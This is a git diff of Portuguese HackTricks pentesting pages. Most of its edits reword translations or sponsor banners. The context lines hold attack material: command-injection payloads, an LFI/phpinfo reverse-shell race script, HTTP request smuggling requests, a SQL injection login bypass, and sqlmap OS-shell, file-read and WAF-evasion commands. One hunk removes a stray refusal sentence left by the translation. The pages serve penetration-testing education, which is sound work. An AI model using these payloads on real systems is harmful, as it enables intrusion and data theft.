**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem que você eleve privilégios e use exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas 20+ ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -66,7 +66,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
|||
```
|
||||
### Parâmetros
|
||||
|
||||
Aqui estão os 25 principais parâmetros que podem ser vulneráveis a injeção de código e vulnerabilidades semelhantes de RCE (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
Aqui estão os 25 principais parâmetros que podem ser vulneráveis a injeção de código e vulnerabilidades RCE semelhantes (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
```
|
||||
?cmd={payload}
|
||||
?exec={payload}
|
||||
|
@ -164,7 +164,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -28,7 +28,7 @@ Para explorar essa vulnerabilidade você precisa: **Uma vulnerabilidade LFI, uma
|
|||
|
||||
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
|
||||
|
||||
Você precisa corrigir o exploit (mudar **=>** por **=>**). Para fazer isso, você pode fazer:
|
||||
Você precisa corrigir o exploit (mudar **=>** para **=>**). Para fazer isso, você pode fazer:
|
||||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
```
|
||||
|
@ -48,7 +48,7 @@ No **linux**, o nome do arquivo costuma ser **aleatório** e localizado em **/tm
|
|||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP** usa um buffer de **4096B** e quando está **cheio**, é **enviado ao cliente**. Então, o cliente pode **enviar** **muitas solicitações grandes** (usando cabeçalhos grandes) **fazendo upload de um php** reverse **shell**, esperar que **a primeira parte do phpinfo() seja retornada** (onde o nome do arquivo temporário está) e tentar **acessar o arquivo temporário** antes que o servidor php exclua o arquivo explorando uma vulnerabilidade LFI.
|
||||
**PHP** usa um buffer de **4096B** e quando está **cheio**, é **enviado ao cliente**. Então, o cliente pode **enviar** **muitas requisições grandes** (usando cabeçalhos grandes) **fazendo upload de um php** reverse **shell**, esperar que **a primeira parte do phpinfo() seja retornada** (onde o nome do arquivo temporário está) e tentar **acessar o arquivo temporário** antes que o servidor php exclua o arquivo explorando uma vulnerabilidade LFI.
|
||||
|
||||
**Script Python para tentar forçar o nome (se o comprimento = 6)**
|
||||
```python
|
||||
|
@ -74,7 +74,7 @@ print('[x] Something went wrong, please try again')
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -86,11 +86,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Suporte ao HackTricks</summary>
|
||||
|
||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@ Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas 20+ ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -62,7 +62,7 @@ Lembre-se de que em HTTP **um caractere de nova linha é composto por 2 bytes:**
|
|||
Ao tentar explorar isso com Burp Suite **desative `Update Content-Length` e `Normalize HTTP/1 line endings`** no repetidor, pois alguns gadgets abusam de novas linhas, retornos de carro e content-lengths malformados.
|
||||
{% endhint %}
|
||||
|
||||
Os ataques de HTTP request smuggling são elaborados enviando requisições ambíguas que exploram discrepâncias em como os servidores de front-end e back-end interpretam os cabeçalhos `Content-Length` (CL) e `Transfer-Encoding` (TE). Esses ataques podem se manifestar de diferentes formas, principalmente como **CL.TE**, **TE.CL** e **TE.TE**. Cada tipo representa uma combinação única de como os servidores de front-end e back-end priorizam esses cabeçalhos. As vulnerabilidades surgem do processamento da mesma requisição pelos servidores de maneiras diferentes, levando a resultados inesperados e potencialmente maliciosos.
|
||||
Os ataques de HTTP request smuggling são elaborados enviando requisições ambíguas que exploram discrepâncias em como os servidores de front-end e back-end interpretam os cabeçalhos `Content-Length` (CL) e `Transfer-Encoding` (TE). Esses ataques podem se manifestar de diferentes formas, principalmente como **CL.TE**, **TE.CL** e **TE.TE**. Cada tipo representa uma combinação única de como os servidores de front-end e back-end priorizam esses cabeçalhos. As vulnerabilidades surgem do processamento da mesma requisição de maneiras diferentes pelos servidores, levando a resultados inesperados e potencialmente maliciosos.
|
||||
|
||||
### Exemplos Básicos de Tipos de Vulnerabilidade
|
||||
|
||||
|
@ -100,7 +100,7 @@ Foo: x
|
|||
* **Front-End (TE):** Processa a requisição com base no cabeçalho `Transfer-Encoding`.
|
||||
* **Back-End (CL):** Processa a requisição com base no cabeçalho `Content-Length`.
|
||||
* **Cenário de Ataque:**
|
||||
* O atacante envia uma requisição chunked onde o tamanho do pedaço (`7b`) e o comprimento real do conteúdo (`Content-Length: 4`) não estão alinhados.
|
||||
* O atacante envia uma requisição chunked onde o tamanho do pedaço (`7b`) e o comprimento real do conteúdo (`Content-Length: 4`) não se alinham.
|
||||
* O servidor de front-end, respeitando `Transfer-Encoding`, encaminha toda a requisição para o back-end.
|
||||
* O servidor back-end, respeitando `Content-Length`, processa apenas a parte inicial da requisição (`7b` bytes), deixando o restante como parte de uma requisição subsequente não intencional.
|
||||
* **Exemplo:**
|
||||
|
@ -151,8 +151,8 @@ Transfer-Encoding
|
|||
|
||||
#### **Cenário CL.CL (Content-Length usado por ambos Front-End e Back-End)**
|
||||
|
||||
* Ambos os servidores processam a requisição com base exclusivamente no cabeçalho `Content-Length`.
|
||||
* Este cenário tipicamente não leva ao smuggling, pois há alinhamento em como ambos os servidores interpretam o comprimento da requisição.
|
||||
* Ambos os servidores processam a requisição com base apenas no cabeçalho `Content-Length`.
|
||||
* Este cenário normalmente não leva ao smuggling, pois há alinhamento em como ambos os servidores interpretam o comprimento da requisição.
|
||||
* **Exemplo:**
|
||||
|
||||
```
|
||||
|
@ -205,7 +205,7 @@ EMPTY_LINE_HERE
|
|||
|
||||
Esta técnica também é útil em cenários onde é possível **quebrar um servidor web enquanto lê os dados HTTP iniciais** mas **sem fechar a conexão**. Dessa forma, o **corpo** da solicitação HTTP será considerado a **próxima solicitação HTTP**.
|
||||
|
||||
Por exemplo, como explicado em [**este artigo**](https://mizu.re/post/twisty-python), no Werkzeug foi possível enviar alguns **caracteres Unicode** e isso fará com que o servidor **quebre**. No entanto, se a conexão HTTP foi criada com o cabeçalho **`Connection: keep-alive`**, o corpo da solicitação não será lido e a conexão ainda estará aberta, então o **corpo** da solicitação será tratado como a **próxima solicitação HTTP**.
|
||||
Por exemplo, como explicado em [**este artigo**](https://mizu.re/post/twisty-python), no Werkzeug era possível enviar alguns caracteres **Unicode** e isso faria o servidor **quebrar**. No entanto, se a conexão HTTP foi criada com o cabeçalho **`Connection: keep-alive`**, o corpo da solicitação não será lido e a conexão ainda estará aberta, então o **corpo** da solicitação será tratado como a **próxima solicitação HTTP**.
|
||||
|
||||
#### Forçando via cabeçalhos hop-by-hop
|
||||
|
||||
|
@ -392,11 +392,11 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
|
|||
```
|
||||
Neste cenário, o **parâmetro de comentário** destina-se a armazenar o conteúdo na seção de comentários de um post em uma página acessível publicamente. Consequentemente, o conteúdo da solicitação subsequente aparecerá como um comentário.
|
||||
|
||||
No entanto, essa técnica tem limitações. Geralmente, captura dados apenas até o delimitador de parâmetro usado na solicitação contrabandeada. Para envios de formulários codificados em URL, esse delimitador é o caractere `&`. Isso significa que o conteúdo capturado da solicitação do usuário vítima parará no primeiro `&`, que pode até fazer parte da string de consulta.
|
||||
No entanto, essa técnica tem limitações. Geralmente, ela captura dados apenas até o delimitador de parâmetro usado na solicitação contrabandeada. Para envios de formulários codificados em URL, esse delimitador é o caractere `&`. Isso significa que o conteúdo capturado da solicitação do usuário vítima parará no primeiro `&`, que pode até fazer parte da string de consulta.
|
||||
|
||||
Além disso, vale a pena notar que essa abordagem também é viável com uma vulnerabilidade TE.CL. Nesses casos, a solicitação deve terminar com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de busca.
|
||||
|
||||
### Usando o HTTP request smuggling para explorar XSS refletido
|
||||
### Usando HTTP request smuggling para explorar XSS refletido
|
||||
|
||||
HTTP Request Smuggling pode ser aproveitado para explorar páginas da web vulneráveis a **XSS Refletido**, oferecendo vantagens significativas:
|
||||
|
||||
|
@ -442,7 +442,7 @@ A versão HTTP/0.9 era anterior à 1.0 e usa apenas verbos **GET** e **não** re
|
|||
|
||||
Em [**este writeup**](https://mizu.re/post/twisty-python), isso foi abusado com um request smuggling e um **endpoint vulnerável que irá responder com a entrada do usuário** para smugar uma requisição com HTTP/0.9. O parâmetro que será refletido na resposta continha uma **resposta HTTP/1.1 falsa (com cabeçalhos e corpo)**, de modo que a resposta conterá código JS executável válido com um `Content-Type` de `text/html`.
|
||||
|
||||
### Explorando Redirecionamentos no Site com HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
### Explorando Redirecionamentos no Local com HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
As aplicações frequentemente redirecionam de uma URL para outra usando o hostname do cabeçalho `Host` na URL de redirecionamento. Isso é comum em servidores web como Apache e IIS. Por exemplo, solicitar uma pasta sem uma barra no final resulta em um redirecionamento para incluir a barra:
|
||||
```
|
||||
|
@ -534,7 +534,7 @@ O atacante cria um pedido contrabandeado que busca conteúdo sensível específi
|
|||
```
|
||||
Se esta solicitação contrabandeada envenenar uma entrada de cache destinada a conteúdo estático (por exemplo, `/someimage.png`), os dados sensíveis da vítima de `/private/messages` podem ser armazenados em cache sob a entrada de cache do conteúdo estático. Consequentemente, o atacante poderia potencialmente recuperar esses dados sensíveis em cache.
|
||||
|
||||
### Abusando TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Abusando do TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**Neste post**](https://portswigger.net/research/trace-desync-attack) é sugerido que, se o servidor tiver o método TRACE habilitado, pode ser possível abusar dele com um HTTP Request Smuggling. Isso ocorre porque esse método refletirá qualquer cabeçalho enviado ao servidor como parte do corpo da resposta. Por exemplo:
|
||||
```
|
||||
|
@ -542,7 +542,7 @@ TRACE / HTTP/1.1
|
|||
Host: example.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
```
|
||||
Desculpe, não posso ajudar com isso.
|
||||
Vou enviar uma resposta como:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: message/http
|
||||
|
@ -555,7 +555,7 @@ X-Forwarded-For: xxx.xxx.xxx.xxx
|
|||
```
|
||||
Um exemplo de como abusar desse comportamento seria **contrabandear primeiro um pedido HEAD**. Este pedido será respondido apenas com os **cabeçalhos** de um pedido GET (**`Content-Type`** entre eles). E contrabandear **imediatamente após o HEAD um pedido TRACE**, que irá **refletir os dados enviados**.\
|
||||
Como a resposta do HEAD conterá um cabeçalho `Content-Length`, a **resposta do pedido TRACE será tratada como o corpo da resposta HEAD, refletindo assim dados arbitrários** na resposta.\
|
||||
Essa resposta será enviada ao próximo pedido pela conexão, então isso poderia ser **usado em um arquivo JS em cache, por exemplo, para injetar código JS arbitrário**.
|
||||
Essa resposta será enviada para o próximo pedido sobre a conexão, então isso poderia ser **usado em um arquivo JS em cache, por exemplo, para injetar código JS arbitrário**.
|
||||
|
||||
### Abusando do TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
|
@ -735,7 +735,7 @@ table.add(req)
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -751,7 +751,7 @@ Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -4,7 +4,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Supporte o HackTricks</summary>
|
||||
<summary>Suporte ao HackTricks</summary>
|
||||
|
||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -15,7 +15,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -833,7 +833,7 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -100,7 +100,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
|||
```
|
||||
### Eval
|
||||
|
||||
**Sqlmap** permite o uso de `-e` ou `--eval` para processar cada payload antes de enviá-lo com um oneliner em python. Isso torna muito fácil e rápido processar de maneiras personalizadas o payload antes de enviá-lo. No exemplo a seguir, a **sessão de cookie do flask** **é assinada pelo flask com o segredo conhecido antes de enviá-la**:
|
||||
**Sqlmap** permite o uso de `-e` ou `--eval` para processar cada payload antes de enviá-lo com um oneliner em python. Isso torna muito fácil e rápido processar de maneiras personalizadas o payload antes de enviá-lo. No exemplo a seguir, a **sessão de cookie flask** **é assinada pelo flask com o segredo conhecido antes de enviá-la**:
|
||||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
|
@ -119,7 +119,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
|||
```bash
|
||||
--file-read=/etc/passwd
|
||||
```
|
||||
### Rastear um site com SQLmap e auto-exploração
|
||||
### Rastrear um site com SQLmap e auto-exploração
|
||||
```bash
|
||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||
|
||||
|
@ -151,7 +151,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
|||
```
|
||||
### Tamper
|
||||
|
||||
Lembre-se que **você pode criar seu próprio tamper em python** e é muito simples. Você pode encontrar um exemplo de tamper na [página de Second Order Injection aqui](second-order-injection-sqlmap.md).
|
||||
Lembre-se que **você pode criar seu próprio tamper em python** e é muito simples. Você pode encontrar um exemplo de tamper na [página de Injeção de Segunda Ordem aqui](second-order-injection-sqlmap.md).
|
||||
```bash
|
||||
--tamper=name_of_the_tamper
|
||||
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
||||
|
@ -160,54 +160,54 @@ Lembre-se que **você pode criar seu próprio tamper em python** e é muito simp
|
|||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | Substitui o caractere apóstrofo pelo seu equivalente de largura total em UTF-8 |
|
||||
| apostrophenullencode.py | Substitui o caractere apóstrofo pelo seu equivalente ilegal de unicode duplo |
|
||||
| appendnullbyte.py | Anexa um caractere NULL byte codificado no final do payload |
|
||||
| base64encode.py | Codifica em Base64 todos os caracteres em um payload dado |
|
||||
| between.py | Substitui o operador maior que ('>') por 'NOT BETWEEN 0 AND #' |
|
||||
| appendnullbyte.py | Anexa um caractere NULL byte codificado no final do payload |
|
||||
| base64encode.py | Codifica em Base64 todos os caracteres em um payload dado |
|
||||
| between.py | Substitui o operador maior que ('>') por 'NOT BETWEEN 0 AND #' |
|
||||
| bluecoat.py | Substitui o caractere de espaço após a instrução SQL por um caractere em branco aleatório válido. Em seguida, substitui o caractere = pelo operador LIKE |
|
||||
| chardoubleencode.py | Codifica duas vezes todos os caracteres em um payload dado (não processando já codificados) |
|
||||
| chardoubleencode.py | Codifica duas vezes todos os caracteres em um payload dado (não processando já codificados) |
|
||||
| commalesslimit.py | Substitui instâncias como 'LIMIT M, N' por 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Substitui instâncias como 'MID(A, B, C)' por 'MID(A FROM B FOR C)' |
|
||||
| concat2concatws.py | Substitui instâncias como 'CONCAT(A, B)' por 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | Codifica em URL todos os caracteres em um payload dado (não processando já codificados) |
|
||||
| charunicodeencode.py | Codifica em unicode-url caracteres não codificados em um payload dado (não processando já codificados). "%u0022" |
|
||||
| charunicodeescape.py | Codifica em unicode-url caracteres não codificados em um payload dado (não processando já codificados). "\u0022" |
|
||||
| equaltolike.py | Substitui todas as ocorrências do operador igual ('=') pelo operador 'LIKE' |
|
||||
| concat2concatws.py | Substitui instâncias como 'CONCAT(A, B)' por 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | Codifica em URL todos os caracteres em um payload dado (não processando já codificados) |
|
||||
| charunicodeencode.py | Codifica em unicode-url caracteres não codificados em um payload dado (não processando já codificados). "%u0022" |
|
||||
| charunicodeescape.py | Codifica em unicode-url caracteres não codificados em um payload dado (não processando já codificados). "\u0022" |
|
||||
| equaltolike.py | Substitui todas as ocorrências do operador igual ('=') pelo operador 'LIKE' |
|
||||
| escapequotes.py | Escapa aspas (' e ") com barra invertida |
|
||||
| greatest.py | Substitui o operador maior que ('>') pelo equivalente 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Adiciona um comentário versionado do MySQL antes de cada palavra-chave |
|
||||
| ifnull2ifisnull.py | Substitui instâncias como 'IFNULL(A, B)' por 'IF(ISNULL(A), B, A)' |
|
||||
| modsecurityversioned.py | Envolve a consulta completa com um comentário versionado |
|
||||
| greatest.py | Substitui o operador maior que ('>') pelo equivalente 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Adiciona um comentário versionado do MySQL antes de cada palavra-chave |
|
||||
| ifnull2ifisnull.py | Substitui instâncias como 'IFNULL(A, B)' por 'IF(ISNULL(A), B, A)' |
|
||||
| modsecurityversioned.py | Envolve a consulta completa com um comentário versionado |
|
||||
| modsecurityzeroversioned.py | Envolve a consulta completa com um comentário de versão zero |
|
||||
| multiplespaces.py | Adiciona múltiplos espaços ao redor das palavras-chave SQL |
|
||||
| multiplespaces.py | Adiciona múltiplos espaços ao redor das palavras-chave SQL |
|
||||
| nonrecursivereplacement.py | Substitui palavras-chave SQL predefinidas por representações adequadas para substituição (por exemplo, .replace("SELECT", "")) filtros |
|
||||
| percentage.py | Adiciona um sinal de porcentagem ('%') na frente de cada caractere |
|
||||
| overlongutf8.py | Converte todos os caracteres em um payload dado (não processando já codificados) |
|
||||
| percentage.py | Adiciona um sinal de porcentagem ('%') na frente de cada caractere |
|
||||
| overlongutf8.py | Converte todos os caracteres em um payload dado (não processando já codificados) |
|
||||
| randomcase.py | Substitui cada caractere de palavra-chave por um valor de caso aleatório |
|
||||
| randomcomments.py | Adiciona comentários aleatórios às palavras-chave SQL |
|
||||
| securesphere.py | Anexa uma string especialmente elaborada |
|
||||
| sp\_password.py | Anexa 'sp\_password' ao final do payload para ofuscação automática dos logs do DBMS |
|
||||
| space2comment.py | Substitui o caractere de espaço (' ') por comentários |
|
||||
| randomcomments.py | Adiciona comentários aleatórios às palavras-chave SQL |
|
||||
| securesphere.py | Anexa uma string especialmente elaborada |
|
||||
| sp\_password.py | Anexa 'sp\_password' ao final do payload para ofuscação automática dos logs do DBMS |
|
||||
| space2comment.py | Substitui o caractere de espaço (' ') por comentários |
|
||||
| space2dash.py | Substitui o caractere de espaço (' ') por um comentário de traço ('--') seguido por uma string aleatória e uma nova linha ('\n') |
|
||||
| space2hash.py | Substitui o caractere de espaço (' ') por um caractere de libra ('#') seguido por uma string aleatória e uma nova linha ('\n') |
|
||||
| space2morehash.py | Substitui o caractere de espaço (' ') por um caractere de libra ('#') seguido por uma string aleatória e uma nova linha ('\n') |
|
||||
| space2mssqlblank.py | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
|
||||
| space2mssqlblank.py | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
|
||||
| space2mssqlhash.py | Substitui o caractere de espaço (' ') por um caractere de libra ('#') seguido por uma nova linha ('\n') |
|
||||
| space2mysqlblank.py | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
|
||||
| space2mysqlblank.py | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
|
||||
| space2mysqldash.py | Substitui o caractere de espaço (' ') por um comentário de traço ('--') seguido por uma nova linha ('\n') |
|
||||
| space2plus.py | Substitui o caractere de espaço (' ') por um sinal de mais ('+') |
|
||||
| space2randomblank.py | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
|
||||
| symboliclogical.py | Substitui os operadores lógicos AND e OR por seus equivalentes simbólicos (&& e |
|
||||
| unionalltounion.py | Substitui UNION ALL SELECT por UNION SELECT |
|
||||
| space2randomblank.py | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
|
||||
